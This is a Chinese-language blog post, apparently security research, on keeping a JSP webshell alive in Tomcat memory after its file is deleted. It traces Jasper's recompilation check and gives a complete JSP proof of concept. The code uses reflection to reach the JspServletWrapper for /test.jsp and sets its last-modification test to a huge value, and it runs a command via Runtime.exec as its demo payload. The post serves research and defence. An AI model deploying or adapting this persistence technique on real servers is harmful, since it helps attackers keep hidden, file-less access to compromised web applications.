前言

最近自己研究了下JSP型内存马,研究完发现网上已经有了,哭哭。

分析

jsp内存马主要实现的目标就是删除了jsp文件但是jsp文件还能够被访问。
先看如何根据jsp路径到执行的过程吧

在org.apache.jasper.servlet.JspServlet#serviceJspFile中
C850484B221348D99A403DAE0D12017C.png
从rctxt中根据url找到wrapper,当然第一次加载的时候肯定没有,就走到了条件语句中,新建了一个wrapper并且加入了rctxt,然后进入
wrapper.service(request, response, precompile);
跟进
![8B435C78CAEF499BBA679E468B3D94BD.png]
(/upload/2022/04/8B435C78-CAEF-499B-BA67-9E468B3D94BD.png)
首先判断ctx是否被remove了,然后进行编译
![728C4AF5938C4A0F8D2602368BD06C31.png]
(/upload/2022/04/728C4AF5-938C-4A0F-8D26-02368BD06C31.png)
看看编译方式
2EEAAE6AA6CE4B76A8119F4473AAEFAD.png
这里判断编译是否过期,我们要绕过的点就是这里,因为如果删除了jsp,重新编译肯定失效的,所以这里要其返回false,
跟进到org.apache.jasper.compiler.Compiler#isOutDated(boolean)
![C90E458B439B4D129193C72C9FD3C1B2.png]
(/upload/2022/04/C90E458B-439B-4D12-9193-C72C9FD3C1B2.png)

在第一个条件我们就可以使其返回false,将jsw.getLastModificationTest()设置为一个特别大的值即可

所以我们综上可以得出,需要将
jsw.getLastModificationTest()设置成一个很大的long值
ctxt.isRemoved()设置成false

但是实际测试中只要将jsw.getLastModificationTest()设置成一个很大的long值就可以了

jsp内存马案例

代码如下:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.jasper.servlet.JspServletWrapper" %>
<%@ page import="org.apache.jasper.compiler.JspRuntimeContext" %>
<%@ page import="org.apache.jasper.JspCompilationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%
    Runtime.getRuntime().exec("calc");
///获取StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
///获取jspwrapper
    Wrapper wrapper = (Wrapper)  standardContext.findChild("jsp");
///获取jspservlet并且获取私有属性rctxt
    Servlet servlet = wrapper.getServlet();
    Field rctxt = servlet.getClass().getDeclaredField("rctxt");
    rctxt.setAccessible(true);
    JspRuntimeContext jspruntimecontext = (JspRuntimeContext) rctxt.get(servlet);
///将rctxt中的/test.jsp(也就是你上传这个文件的访问路径)的wrapper的LastModificationTest设置为较大的值
    JspServletWrapper jspwrapper = jspruntimecontext.getWrapper("/test.jsp");
    jspwrapper.setLastModificationTest(2650356125730L);

%>

效果如下
D1947AD37A644983A5363AC8BA378A1E.png